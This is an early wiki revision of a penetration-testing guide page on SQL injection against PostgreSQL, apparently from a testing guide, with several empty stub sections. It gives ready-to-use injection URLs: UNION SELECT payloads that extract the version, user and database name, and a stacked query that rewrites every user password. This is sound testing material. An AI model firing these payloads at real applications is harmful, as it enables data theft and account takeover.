Revision as of 20:03, 11 May 2008

Overview

In this paragraph we're going to describe some SQL Injection techniques for PostgreSQL.

Description

Identifing PostgreSQL

When a SQL Injection has been found you need to carefully fingerprint backend database engine. DBMS Fingerprint paragraph allready discussed how to accomplish this task.

PostgreSQL Peculiarities

• PHP Connector allow multiple statements to be executed by using ; as a statement seperator
• SQL Statement can be truncated on vulnerable URL by appending comment char: --.

Example:

   http://www.example.com/store.php?id=1--hello world 
   http://www.example.com/store.php?id=1;--hello world 

Banner Grabbing

Function version() can be used to accomplish this task.

select version():

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Example:

 http://www.example.com/store.php?id=1
       Acme Biscuits

 http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
       PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)

Blind Injection

Inference

Timing Attacks

Single Quote (un)Escape

String can be encoded, to prevent single quotes escaping, by using chr() function.

  * chr(n): Returns the character whose ascii value corresponds to the number
  * ascii(n): Returns the ascii value corresponds to the character

Let say you want to encode the string 'root':

  select ascii('r')
  114
  select ascii('o')
  111
  select ascii('t')
  116

We can encode 'root' with:

 chr(114)||chr(111)||chr(111)||chr(116)

Example:

  http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

Current User

Current user can be retrieved with the following SQL SELECT statements:

 SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()

Examples:

 http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL--
 http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--

Current Database

Native function current_database() return current database name.

Example:

 http://www.example.com/store.php?id=1 UNION ALL SELECT current_database(),NULL,NULL--

Enumerating Databases

Enumerating Tables

Enumerating functions

Blind SQL Injection Attacks

Inference

Timing Attacks

Attack Vectors

Reading from a file

Writing to a file

Shell Injection

Smashing dblink()

References

Tools